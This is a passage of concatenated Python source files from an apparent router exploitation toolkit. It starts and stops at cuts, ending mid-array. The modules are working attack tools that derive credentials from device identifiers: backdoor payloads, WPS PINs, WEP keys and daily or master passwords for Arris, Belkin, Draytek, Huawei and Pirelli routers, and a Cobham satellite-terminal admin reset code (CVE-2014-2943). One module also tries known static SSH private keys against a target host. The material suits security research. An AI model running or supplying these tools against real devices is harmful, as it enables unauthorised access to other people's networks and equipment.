byte of a salted md5 of the mac address of device br0 43 | 4)br0 in these modems has the same mac of eth0 44 | You can send it with nemesis (nemesis ip -D 192.168.1.1 -p 255 -P payload.hex) 45 | Based on: Work of saxdax and drPepperOne http://saxdax.blogspot.com/2009/01/backdoor-on-telecom-italia-pirelli.html 46 | Note: This would make a nice exploit (with ability to send the packet) but I don't have a device for testing. 47 | 48 | Options: 49 | Name Description 50 | 51 | mac MAC address used as input for password generation 52 | """ 53 | mac = "00:00:00:00:00" 54 | 55 | def __init__(self): 56 | core.Misc.RextMisc.__init__(self) 57 | 58 | def do_set(self, e): 59 | args = e.split(' ') 60 | if args[0] == "mac": 61 | if validate_mac(args[1]): 62 | self.mac = args[1] 63 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 64 | else: 65 | print_error("provide valid MAC address") 66 | 67 | def do_mac(self, e): 68 | print_info(self.mac) 69 | 70 | def help_set(self): 71 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 72 | 73 | def help_mac(self): 74 | print_help("Prints value of variable MAC") 75 | 76 | def do_run(self, e): 77 | payload = self.keygen() 78 | print_success("payload generated") 79 | print("Payload:%s" % (hexlify(payload).decode())) 80 | core.io.writefile(payload, "payload.hex") 81 | print_info("Payload saved to payload.hex") 82 | 83 | def keygen(self): 84 | salt = b'\x04\x07\x67\x10\x02\x81\xFA\x66\x11\x41\x68\x11\x17\x01\x05\x22\x71\x04\x10\x33' 85 | bytemac = bytearray.fromhex(re.sub(r'[^a-fA-F0-9]', '', self.mac)) 86 | h = hashlib.md5() 87 | h.update(bytemac) 88 | h.update(salt) 89 | digest = bytearray(h.digest()) 90 | return digest[:8] 91 | 92 | Misc() 93 | -------------------------------------------------------------------------------- /modules/misc/arris/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/arris/dg860a_mac2wps.py: -------------------------------------------------------------------------------- 1 | # Name:ARRIS DG860A WPS PIN Generator 2 | # File:dg860a_mac2wps.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 23.7.2015 6 | # Last modified: 23.7.2015 7 | # Shodan Dork: 8 | # Description: Generates WPS pin for Arris DG860A router based on mac 9 | # Based on work of Justin Oberdorf 10 | # https://packetstormsecurity.com/files/123631/ARRIS-DG860A-WPS-PIN-Generator.html 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.messages import print_success, print_error, print_help, print_info 15 | from interface.utils import validate_mac, lookup_mac 16 | 17 | 18 | class Misc(core.Misc.RextMisc): 19 | """ 20 | Name:ARRIS DG860A WPS PIN Generator 21 | File:dg860a_mac2wps.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 23.7.2015 25 | Description: Generates WPS pin for Arris DG860A router based on mac 26 | Based on: Work of Justin Oberdorf https://packetstormsecurity.com/files/123631/ARRIS-DG860A-WPS-PIN-Generator.html 27 | 28 | Options: 29 | Name Description 30 | 31 | mac MAC address used as input for WPS pin generation 32 | """ 33 | mac = "00:00:00:00:00" 34 | 35 | def __init__(self): 36 | core.Misc.RextMisc.__init__(self) 37 | 38 | def do_set(self, e): 39 | args = e.split(' ') 40 | if args[0] == "mac": 41 | if validate_mac(args[1]): 42 | self.mac = args[1] 43 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 44 | else: 45 | print_error("please provide valid MAC address") 46 | 47 | def do_mac(self, e): 48 | print_info(self.mac) 49 | 50 | def help_set(self): 51 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 52 | 53 | def help_mac(self): 54 | print_help("Prints value of variable MAC") 55 | 56 | def do_run(self, e): 57 | mac = self.mac 58 | mac = mac.upper() 59 | mac = mac.replace("-", "") 60 | mac = mac.replace(":", "") 61 | 62 | 63 | fibnum = [0, 0, 0, 0, 0, 0] 64 | fibsum = 0 65 | seed = 16 66 | count = 1 67 | offset = 0 68 | counter = 0 69 | a = 0 70 | 71 | macs = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] 72 | tmp = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] 73 | 74 | c = 0 75 | while c < 12: 76 | macs[a] = int(mac[c]+mac[c+1], 16) 77 | tmp[a] = int(mac[c] + mac[c+1], 16) 78 | a += 1 79 | c += 2 80 | 81 | for i in range(6): 82 | if tmp[i] > 30: 83 | while tmp[i] > 31: 84 | tmp[i] -= 16 85 | counter += 1 86 | 87 | if counter == 0: 88 | if tmp[i] < 3: 89 | tmp[i] = tmp[0]+tmp[1]+tmp[2]+tmp[3]+tmp[4]+tmp[5]-tmp[i] 90 | if tmp[i] > 0xff: 91 | tmp[i] = tmp[i] and 0xff 92 | tmp[i] = int(tmp[i] % 28) + 3 93 | 94 | fibnum[i] = self.fib_gen(tmp[i]) 95 | 96 | else: 97 | fibnum[i] = self.fib_gen(tmp[i]) + self.fib_gen(counter) 98 | counter = 0 99 | 100 | for i in range(6): 101 | fibsum += (fibnum[i] * self.fib_gen(i+seed))+macs[i] 102 | 103 | fibsum %= 10000000 104 | checksum = self.compute_checksum(fibsum) 105 | fibsum = (fibsum * 10) + checksum 106 | print_success("WPS generated") 107 | print("WPS PIN: " + str(fibsum)) 108 | 109 | def fib_gen(self, n): 110 | if n == 1 or n == 2 or n == 0: 111 | return 1 112 | else: 113 | return self.fib_gen(n-1) + self.fib_gen(n-2) 114 | 115 | def compute_checksum(self, s): 116 | accum = 0 117 | s *= 10 118 | accum += 3 * ((s // 10000000) % 10) 119 | accum += 1 * ((s // 1000000) % 10) 120 | accum += 3 * ((s // 100000) % 10) 121 | accum += 1 * ((s // 10000) % 10) 122 | accum += 3 * ((s // 1000) % 10) 123 | accum += 1 * ((s // 100) % 10) 124 | accum += 3 * ((s // 10) % 10) 125 | 126 | digit = (accum % 10) 127 | return (10 - digit) % 10 128 | 129 | 130 | Misc() 131 | -------------------------------------------------------------------------------- /modules/misc/arris/tm602a_password_day.py: -------------------------------------------------------------------------------- 1 | # Name:Arris password of the day generator 2 | # File:tm602a_password_day_py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 29.3.2015 6 | # Last modified: 29.3.2015 7 | # Shodan Dork: 8 | # Description: The Accton company builds switches, which are rebranded and sold by several manufacturers. 9 | # Based on work of Raul Pedro Fernandes Santos and routerpwn.com 10 | # Project homepage: http://www.borfast.com/projects/arrispwgen 11 | 12 | 13 | import core.Misc 14 | import core.io 15 | from interface.messages import print_success, print_help, print_info 16 | 17 | import datetime 18 | import math 19 | 20 | 21 | class Misc(core.Misc.RextMisc): 22 | """ 23 | Name:Arris password of the day generator 24 | File:tm602a_password_day_py 25 | Author:Ján Trenčanský 26 | License: GNU GPL v3 27 | Created: 29.3.2015 28 | Description: The Accton company builds switches, which are rebranded and sold by several manufacturers. 29 | Based on work of Raul Pedro Fernandes Santos and routerpwn.com http://www.borfast.com/projects/arrispwgen 30 | 31 | Options: 32 | Name Description 33 | 34 | start Set start date in format YYYY-MM-DD 35 | end Set end date in format YYYY-MM-DD 36 | """ 37 | start_date = datetime.date.today().isoformat() 38 | end_date = datetime.date.today() 39 | end_date += datetime.timedelta(days=1) 40 | end_date = end_date.isoformat() 41 | 42 | def __init__(self): 43 | core.Misc.RextMisc.__init__(self) 44 | 45 | def do_set(self, e): 46 | args = e.split(' ') 47 | if args[0] == "start": 48 | self.start_date = args[1] # Date format validation should be here. 49 | elif args[0] == "end": 50 | self.end_date = args[1] 51 | 52 | def do_start(self, e): 53 | print_info(self.start_date) 54 | 55 | def do_end(self, e): 56 | print_info(self.end_date) 57 | 58 | def help_set(self): 59 | print_help("Set value of variable: \"set start 2015-06-01\"") 60 | 61 | def help_start(self): 62 | print_help("Prints value of variable start_date") 63 | print("In this module both start and end date must be specified!") 64 | print("Password for date in end_date is not generated! (Not inclusive loop)") 65 | 66 | def help_end(self): 67 | print_help("Prints value of variable end_date") 68 | print("In this module both start and end date must be specified!") 69 | print("Password for date in end_date is not generated! (Not inclusive loop)") 70 | 71 | def do_run(self, e): 72 | self.generate_arris_password(self.start_date, self.end_date) 73 | 74 | def generate_arris_password(self, start_date_str, end_date_str): 75 | seed = 'MPSJKMDHAI' 76 | seed_eight = seed[:8] 77 | table1 = [[15, 15, 24, 20, 24], 78 | [13, 14, 27, 32, 10], 79 | [29, 14, 32, 29, 24], 80 | [23, 32, 24, 29, 29], 81 | [14, 29, 10, 21, 29], 82 | [34, 27, 16, 23, 30], 83 | [14, 22, 24, 17, 13]] 84 | table2 = [[0, 1, 2, 9, 3, 4, 5, 6, 7, 8], 85 | [1, 4, 3, 9, 0, 7, 8, 2, 5, 6], 86 | [7, 2, 8, 9, 4, 1, 6, 0, 3, 5], 87 | [6, 3, 5, 9, 1, 8, 2, 7, 4, 0], 88 | [4, 7, 0, 9, 5, 2, 3, 1, 8, 6], 89 | [5, 6, 1, 9, 8, 0, 4, 3, 2, 7]] 90 | 91 | alphanum = [ 92 | '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 93 | 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 94 | 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' 95 | ] 96 | 97 | list1 = [0]*8 98 | list2 = [0]*9 99 | list3 = [0]*10 100 | list4 = [0]*10 101 | list5 = [0]*10 102 | 103 | start_date = datetime.datetime.strptime(start_date_str, "%Y-%m-%d") 104 | end_date = datetime.datetime.strptime(end_date_str, "%Y-%m-%d") 105 | for single_date in daterange(start_date, end_date): 106 | year = int(single_date.strftime("%y")) 107 | month = int(single_date.strftime("%m")) 108 | day_of_month = int(single_date.strftime("%d")) 109 | day_of_week = int(single_date.strftime("%w")) - 1 110 | if day_of_week < 0: 111 | day_of_week = 6 112 | for i in range(5): 113 | list1[i] = table1[day_of_week][i] 114 | list1[5] = day_of_month 115 | if ((year + month) - day_of_month) < 0: 116 | list1[6] = (((year + month) - day_of_month) + 36) % 36 117 | else: 118 | list1[6] = ((year + month) - day_of_month) % 36 119 | list1[7] = (((3 + ((year + month) % 12)) * day_of_month) % 37) % 36 120 | for i in range(8): 121 | list2[i] = ord(seed_eight[i]) % 36 122 | for i in range(8): 123 | list3[i] = (list1[i] + list2[i]) % 36 124 | list3[8] = (list3[0] + list3[1] + list3[2] + list3[3] + list3[4] + list3[5] + list3[6] + list3[7]) % 36 125 | 126 | num8 = list3[8] % 6 127 | list3[9] = math.floor(math.pow(num8, 2) + 0.5) # Round to nearest integer 128 | for i in range(10): 129 | list4[i] = list3[table2[num8][i]] 130 | for i in range(10): 131 | list5[i] = int((ord(seed[i]) + list4[i]) % 36) 132 | 133 | password_list = [""]*10 134 | for i in range(10): 135 | password_list[i] = alphanum[list5[i]] 136 | password = "".join(password_list) 137 | print_success("password generated") 138 | print("Date: " + single_date.date().isoformat() + " Password:" + password) 139 | 140 | 141 | def daterange(start_date, end_date): 142 | for n in range(int((end_date - start_date).days)): 143 | yield start_date + datetime.timedelta(n) 144 | 145 | Misc() 146 | -------------------------------------------------------------------------------- /modules/misc/belkin/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/belkin/mac2wps.py: -------------------------------------------------------------------------------- 1 | # Name:Belkin F5D8235-4 v1000, F5D8231-4 v5000, F9K1104 v1000 mac2wps 2 | # File:mac2wps.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 19.7.2015 6 | # Last modified: 19.7.2015 7 | # Shodan Dork: 8 | # Description: Generates WPS key for Belkin F5D8235-4 v1000, F5D8231-4 v5000, F9K1104 v1000 based on mac. 9 | # Based on work of ZhaoChunsheng and e.novellalorente@student.ru.nl (http://ednolo.alumnos.upv.es/?p=1295) 10 | 11 | import core.Misc 12 | import core.io 13 | from interface.messages import print_success, print_error, print_help, print_info 14 | from interface.utils import validate_mac, lookup_mac 15 | 16 | 17 | class Misc(core.Misc.RextMisc): 18 | """ 19 | Name:Belkin F5D8235-4 v1000, F5D8231-4 v5000, F9K1104 v1000 mac2wps 20 | File:mac2wps.py 21 | Author:Ján Trenčanský 22 | License: GNU GPL v3 23 | Created: 19.7.2015 24 | Description: Generates WPS key for Belkin F5D8235-4 v1000, F5D8231-4 v5000, F9K1104 v1000 based on mac. 25 | Based on: Work of ZhaoChunsheng and e.novellalorente@student.ru.nl (http://ednolo.alumnos.upv.es/?p=1295) 26 | 27 | Options: 28 | Name Description 29 | 30 | mac MAC address used as input for WPS pin generation 31 | """ 32 | mac = "00:00:00:00:00" 33 | 34 | def __init__(self): 35 | core.Misc.RextMisc.__init__(self) 36 | 37 | def do_set(self, e): 38 | args = e.split(' ') 39 | if args[0] == "mac": 40 | if validate_mac(args[1]): 41 | self.mac = args[1] 42 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 43 | else: 44 | print_error("please provide valid MAC address") 45 | 46 | def do_mac(self, e): 47 | print_info(self.mac) 48 | 49 | def help_set(self): 50 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 51 | 52 | def help_mac(self): 53 | print_help("Prints value of variable MAC") 54 | 55 | def do_run(self, e): 56 | mac = self.mac 57 | mac = mac.upper() 58 | mac = mac.replace("-", "") 59 | mac = mac.replace(":", "") 60 | mac = mac[6:] 61 | 62 | p = int(mac, 16) % 10000000 63 | pin = p 64 | accum = 0 65 | while pin: 66 | accum += int(3 * (pin % 10)) 67 | pin = int(pin / 10) 68 | accum += int(pin % 10) 69 | pin = int(pin / 10) 70 | key = (10 - accum % 10) % 10 71 | key = format("%07d%d" % (p, key)) 72 | 73 | print_success("WPS pin generated") 74 | print("WPS pin:" + key) 75 | 76 | 77 | Misc() 78 | -------------------------------------------------------------------------------- /modules/misc/cobham/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/cobham/admin_reset_code.py: -------------------------------------------------------------------------------- 1 | # Name:Cobham Aviator/Explorer/Sailor admin reset code generator 2 | # File:admin_reset_code.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 4.12.2015 6 | # Last modified: 4.12.2015 7 | # Shodan Dork: 8 | # Description: generates predictable admin reset code for Cobham Aviator/Explorer/Sailor - CVE-2014-2943 9 | # Based on work by Sinnet3000 and 10 | # https://www.blackhat.com/docs/us-14/materials/us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land.pdf 11 | 12 | import hashlib 13 | 14 | import core.Misc 15 | import core.io 16 | from interface.messages import print_help, print_info 17 | 18 | 19 | class Misc(core.Misc.RextMisc): 20 | """ 21 | Name:Cobham Aviator/Explorer/Sailor admin reset code generator 22 | File:admin_reset_code.py 23 | Author:Ján Trenčanský 24 | License: GNU GPL v3 25 | Created: 4.12.2015 26 | Description: generates predictable admin reset code for Cobham Aviator/Explorer/Sailor - CVE-2014-2943 27 | Based on: Work by Sinnet3000 and 28 | https://www.blackhat.com/docs/us-14/materials/us-14-Santamarta-SATCOM-Terminals-Hacking-By-Air-Sea-And-Land.pdf 29 | 30 | Options: 31 | Name Description 32 | 33 | serial Serial number of the device 34 | """ 35 | 36 | serial = "12345678" 37 | 38 | def __init__(self): 39 | core.Misc.RextMisc.__init__(self) 40 | 41 | def do_set(self, e): 42 | args = e.split(' ') 43 | if args[0] == "serial": 44 | self.serial = args[1] 45 | print_info("Serial number set to: " + self.serial) 46 | 47 | def do_run(self, e): 48 | m = hashlib.md5() 49 | m.update(bytearray.fromhex(self.serial) + b'\x00'*12 + "kdf04rasdfKKduzA".encode('utf-8')) 50 | code = m.hexdigest() 51 | print("Reset code: " + code) 52 | 53 | def do_serial(self, e): 54 | print_info(self.serial) 55 | 56 | def help_set(self): 57 | print_help("Set value of variable: \"set serial 12345678\"") 58 | 59 | def help_serial(self): 60 | print_help("Prints value of variable serial") 61 | 62 | 63 | Misc() 64 | -------------------------------------------------------------------------------- /modules/misc/draytek/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/modules/misc/draytek/__init__.py -------------------------------------------------------------------------------- /modules/misc/draytek/vigor_master_key.py: -------------------------------------------------------------------------------- 1 | # Name:Draytek Vigor V2XXX and V3XXX master key generator 2 | # File:vigor_master_key.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 17.2.2014 6 | # Last modified: 17.2.2014 7 | # Shodan Dork: 8 | # Description: Generates master key for older FW versions of Vigor routers based on MAC address. 9 | # Based on draytools work of Nikita Abdullin (AMMOnium) https://github.com/ammonium/draytools 10 | 11 | import core.Misc 12 | import core.io 13 | from interface.messages import print_success, print_error, print_help, print_info 14 | from interface.utils import validate_mac, lookup_mac 15 | 16 | import re 17 | from binascii import unhexlify 18 | 19 | 20 | class Misc(core.Misc.RextMisc): 21 | """ 22 | Name:Draytek Vigor V2XXX and V3XXX master key generator 23 | File:vigor_master_key.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 17.2.2014 27 | Description: Generates master key for older FW versions of Vigor routers based on MAC address. 28 | Based on: draytools work of Nikita Abdullin (AMMOnium) https://github.com/ammonium/draytools 29 | 30 | Options: 31 | Name Description 32 | 33 | mac MAC address used as input for master password generation 34 | """ 35 | mac = "00:00:00:00:00" 36 | 37 | def __init__(self): 38 | core.Misc.RextMisc.__init__(self) 39 | 40 | def do_set(self, e): 41 | args = e.split(' ') 42 | if args[0] == "mac": 43 | if validate_mac(args[1]): 44 | self.mac = args[1] 45 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 46 | else: 47 | print_error("please provide valid MAC address") 48 | 49 | def do_mac(self, e): 50 | print_info(self.mac) 51 | 52 | def help_set(self): 53 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 54 | 55 | def help_mac(self): 56 | print_help("Prints value of variable MAC") 57 | 58 | def do_run(self, e): 59 | xmac = unhexlify(bytes(re.sub('[:\-]', '', self.mac), 'UTF-8')) 60 | print_success("credentials generated") 61 | print("Username: Admin") 62 | print("Password: " + self.spkeygen(xmac)) 63 | 64 | #This is a port for py3 from draytools, original author is Nikita Abdullin 65 | def spkeygen(self, mac): 66 | """Generate a master key like 'AbCdEfGh' from MAC address""" 67 | # stupid translation from MIPS assembly, but works 68 | atu = 'WAHOBXEZCLPDYTFQMJRVINSUGK' 69 | atl = 'kgusnivrjmqftydplczexbohaw' 70 | res = ['\x00'] * 8 71 | st = [0] * 8 72 | # compute 31*(31*(31*(31*(31*m0+m1)+m2)+m3)+m4)+m5, sign-extend mac bytes 73 | a3 = 0 74 | for i in mac: 75 | v1 = a3 << 5 76 | v1 &= 0xFFFFFFFF 77 | a0 = i 78 | if a0 >= 0x80: 79 | a0 |= 0xFFFFFF00 80 | v1 -= a3 81 | v1 &= 0xFFFFFFFF 82 | a3 = v1 + a0 83 | a3 &= 0xFFFFFFFF 84 | # Divide by 13 :) Old assembly trick, I leave it here 85 | # 0x4EC4EC4F is a multiplicative inverse for 13 86 | ck = 0x4EC4EC4F * a3 87 | v1 = (ck & 0xFFFFFFFF00000000) >> 32 88 | # shift by two 89 | v1 >>= 3 90 | v0 = v1 << 1 91 | v0 &= 0xFFFFFFFF 92 | # trick ends here and now v0 = a3 / 13 93 | v0 += v1 94 | v0 <<= 2 95 | v0 &= 0xFFFFFFFF 96 | v0 += v1 97 | v0 <<= 1 98 | v0 -= a3 99 | # v0 &= 0xFFFFFFFF 100 | st[0] = a3 101 | res[0] = atu[abs(v0)] 102 | 103 | for i in range(1, 8): 104 | v1 = st[i-1] 105 | a0 = ord(res[0]) 106 | t0 = ord(res[1]) 107 | v0 = (v1 << 5) & 0xFFFFFFFF 108 | a1 = ord(res[2]) 109 | v0 -= v1 110 | v0 += a0 111 | a2 = ord(res[3]) 112 | a3 = ord(res[4]) 113 | v0 += t0 114 | v0 += a1 115 | t0 = ord(res[5]) 116 | v1 = ord(res[6]) 117 | v0 += a2 118 | a0 = ord(res[7]) 119 | v0 += a3 120 | v0 += t0 121 | v0 += v1 122 | # v0 here is a 32-bit sum of currently computed key chars 123 | v0 &= 0xFFFFFFFF 124 | a3 = v0 + a0 125 | # Again divide by 13 126 | i1 = a3 * 0x4EC4EC4F 127 | a0 = i & 1 128 | st[i] = a3 129 | v1 = (i1 & 0xFFFFFFFF00000000) >> 32 130 | v1 >>= 3 131 | v0 = v1 << 1 132 | # here v0 = a3 / 13 133 | v0 += v1 134 | v0 <<= 2 135 | v0 += v1 136 | v0 <<= 1 137 | v0 = a3 - v0 138 | a1 += v0 139 | v0 &= 0xFFFFFFFF 140 | if a0 == 0: 141 | v1 = atu[abs(v0)] 142 | else: 143 | v1 = atl[abs(v0)] 144 | res[i] = v1 145 | v0 = 0 146 | return ''.join(res) 147 | 148 | Misc() -------------------------------------------------------------------------------- /modules/misc/generic/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/generic/http_get.py: -------------------------------------------------------------------------------- 1 | # Name:Send GET HTTP and print response. 2 | # File:http_get.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 27.12.2015 6 | # Last modified: 27.12.2015 7 | # Shodan Dork: 8 | # Description: For those times when you just want dork for shodan but don't want to run Burp 9 | 10 | import core.Exploit 11 | import core.io 12 | 13 | import requests 14 | import interface.utils 15 | from interface.messages import print_error, print_help, print_info, print_warning 16 | 17 | 18 | class Exploit(core.Exploit.RextExploit): 19 | """ 20 | Name:Send GET HTTP and print response. 21 | File:http_get.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 27.12.2015 25 | Description: For those times when you just want dork for shodan but don't want to run Burp 26 | 27 | Options: 28 | Name Description 29 | 30 | host Target host address 31 | port Target port 32 | ssl Yes/No value if request should be sent using SSL 33 | body Yes/No value if you want to print response body or not 34 | """ 35 | ssl = False 36 | body = True 37 | 38 | def __init__(self): 39 | core.Exploit.RextExploit.__init__(self) 40 | 41 | def do_set(self, e): 42 | args = e.split(' ') 43 | try: 44 | if args[0] == "host": 45 | if interface.utils.validate_ipv4(args[1]): 46 | self.host = args[1] 47 | else: 48 | print_error("please provide valid IPv4 address") 49 | elif args[0] == "port": 50 | if str.isdigit(args[1]): 51 | self.port = args[1] 52 | else: 53 | print_error("port value must be integer") 54 | elif args[0] == "ssl": 55 | if str(args[1]).lower() == "yes": 56 | self.ssl = True 57 | elif str(args[1]).lower() == "no": 58 | self.ssl = False 59 | else: 60 | print_error("please use yes/no as parameter") 61 | elif args[0] == "body": 62 | if str(args[1]).lower() == "yes": 63 | self.body = True 64 | elif str(args[1]).lower() == "no": 65 | self.body = False 66 | else: 67 | print_error("please use yes/no as parameter") 68 | except IndexError: 69 | print_error("please specify value for variable") 70 | 71 | def do_body(self, e): 72 | if self.body is True: 73 | print_info("yes") 74 | else: 75 | print_info("no") 76 | 77 | def do_ssl(self, e): 78 | if self.ssl is True: 79 | print_info("yes") 80 | else: 81 | print_info("no") 82 | 83 | def help_body(self): 84 | print_help("print response body? yes/no") 85 | 86 | def help_ssl(self): 87 | print_help("use HTTPS? yes/no") 88 | 89 | def do_run(self, e): 90 | if self.ssl is False: 91 | url = "http://%s:%s" % (self.host, self.port) 92 | else: 93 | url = "https://%s:%s" % (self.host, self.port) 94 | try: 95 | print_warning("Sending GET request") 96 | response = requests.get(url, timeout=60, verify=False) 97 | print("[%s %s] %s" % (response.status_code, response.reason, response.url)) 98 | for header in response.headers: 99 | print("%s: %s" % (header, response.headers.get(header))) 100 | if self.body is True: 101 | print("\n") 102 | print(response.text) 103 | except requests.ConnectionError as e: 104 | print_error("connection error %s" % e) 105 | except requests.Timeout: 106 | print_error("timeout") 107 | Exploit() 108 | -------------------------------------------------------------------------------- /modules/misc/generic/ssh_bad_keys.py: -------------------------------------------------------------------------------- 1 | # Name:SSH Bad keys tester 2 | # File:ssh_bad_keys.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 23.12.2016 6 | # Last modified: 23.12.2016 7 | # Shodan Dork: 8 | # Description: Testing static SSH keys gathered from various sources 9 | 10 | import core.Exploit 11 | import core.io 12 | import core.loader 13 | 14 | import interface.utils 15 | from interface.messages import print_error, print_info, print_success 16 | 17 | import paramiko 18 | import io 19 | 20 | 21 | class Exploit(core.Exploit.RextExploit): 22 | """ 23 | Name:SSH bad keys tester 24 | File:ssh_bad_keys.py 25 | Author:Ján Trenčanský 26 | License: GNU GPL v3 27 | Created: 23.12.2016 28 | Description: Testing static SSH keys gathered from various sources 29 | 30 | Options: 31 | Name Description 32 | 33 | host Target host address 34 | """ 35 | 36 | def __init__(self): 37 | core.Exploit.RextExploit.__init__(self) 38 | 39 | def do_set(self, e): 40 | args = e.split(' ') 41 | try: 42 | if args[0] == "host": 43 | if interface.utils.validate_ipv4(args[1]): 44 | self.host = args[1] 45 | else: 46 | print_error("please provide valid IPv4 address") 47 | except IndexError: 48 | print_error("please specify value for variable") 49 | 50 | def do_run(self, e): 51 | print_info("Testing known keys") 52 | client = paramiko.SSHClient() 53 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 54 | connection = core.loader.open_database("./databases/bad_keys.db") 55 | cursor = connection.cursor() 56 | cursor.execute("SELECT user, port, filename, type, private_key FROM keys;") 57 | entries = cursor.fetchall() 58 | for entry in entries: 59 | try: 60 | username = entry[0] 61 | port = entry[1] 62 | filename = entry[2] 63 | key_type = entry[3] 64 | string_key = entry[4] 65 | if key_type == 'RSA': 66 | private_key = paramiko.RSAKey.from_private_key(io.StringIO(string_key)) 67 | elif key_type == 'DSA': 68 | private_key = paramiko.DSSKey.from_private_key(io.StringIO(string_key)) 69 | else: 70 | print_error("Failed to load key of type:", key_type) 71 | continue 72 | client.connect(self.host, port=port, username=username, pkey=private_key, look_for_keys=False, 73 | timeout=10) 74 | core.io.writetextfile(string_key, filename+".key") 75 | print_success("Username:", username, "port:", port) 76 | print_info("Private key writen to:", filename+".key") 77 | client.close() 78 | except paramiko.AuthenticationException: 79 | pass 80 | except: 81 | pass 82 | 83 | Exploit() 84 | -------------------------------------------------------------------------------- /modules/misc/huawei/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/huawei/hg520_mac2wep.py: -------------------------------------------------------------------------------- 1 | # Name:Huawei HG520 mac2wepkey 2 | # File:hg520_mac2wep.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 14.6.2015 6 | # Last modified: 14.6.2015 7 | # Shodan Dork: 8 | # Description: Generates WEP Key for Huawei HG5XX based on mac. 9 | # Based on work by humberto121@websec.mx - 12/2010 10 | 11 | import core.Misc 12 | import core.io 13 | from interface.messages import print_success, print_error, print_help, print_info 14 | from interface.utils import validate_mac, lookup_mac 15 | 16 | 17 | class Misc(core.Misc.RextMisc): 18 | """ 19 | Name:Huawei HG520 mac2wepkey 20 | File:hg520_mac2wep.py 21 | Author:Ján Trenčanský 22 | License: GNU GPL v3 23 | Created: 14.6.2015 24 | Description: Generates WEP Key for Huawei HG5XX based on mac. 25 | Based on: Work by humberto121@websec.mx - 12/2010 26 | 27 | Options: 28 | Name Description 29 | 30 | mac MAC address used as input for WEP password generation 31 | """ 32 | mac = "00:00:00:00:00" 33 | 34 | def __init__(self): 35 | core.Misc.RextMisc.__init__(self) 36 | 37 | def do_set(self, e): 38 | args = e.split(' ') 39 | if args[0] == "mac": 40 | if validate_mac(args[1]): 41 | self.mac = args[1] 42 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 43 | else: 44 | print_error("please provide valid MAC address") 45 | 46 | def do_mac(self, e): 47 | print_info(self.mac) 48 | 49 | def help_set(self): 50 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 51 | 52 | def help_mac(self): 53 | print_help("Prints value of variable MAC") 54 | 55 | def do_run(self, e): 56 | mac = self.mac 57 | mac = mac.replace(":", "") 58 | mac = mac.replace("-", "") 59 | mac_array = [0]*12 60 | i = 0 61 | for number in mac: 62 | mac_array[i] = int(number, 16) 63 | i += 1 64 | 65 | a0 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] 66 | a1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] 67 | a2 = [0, 13, 10, 7, 5, 8, 15, 2, 10, 7, 0, 13, 15, 2, 5, 8] 68 | a3 = [0, 1, 3, 2, 7, 6, 4, 5, 15, 14, 12, 13, 8, 9, 11, 10] 69 | a4 = [0, 5, 11, 14, 7, 2, 12, 9, 15, 10, 4, 1, 8, 13, 3, 6] 70 | a5 = [0, 4, 8, 12, 0, 4, 8, 12, 0, 4, 8, 12, 0, 4, 8, 12] 71 | a6 = [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8] 72 | a7 = [0, 8, 0, 8, 1, 9, 1, 9, 2, 10, 2, 10, 3, 11, 3, 11] 73 | a8 = [0, 5, 11, 14, 6, 3, 13, 8, 12, 9, 7, 2, 10, 15, 1, 4] 74 | a9 = [0, 9, 2, 11, 5, 12, 7, 14, 10, 3, 8, 1, 15, 6, 13, 4] 75 | a10 = [0, 14, 13, 3, 11, 5, 6, 8, 6, 8, 11, 5, 13, 3, 0, 1, 4] 76 | a11 = [0, 12, 8, 4, 1, 13, 9, 5, 2, 14, 10, 6, 3, 15, 11, 7] 77 | a12 = [0, 4, 9, 13, 2, 6, 11, 15, 4, 0, 13, 9, 6, 2, 15, 11] 78 | a13 = 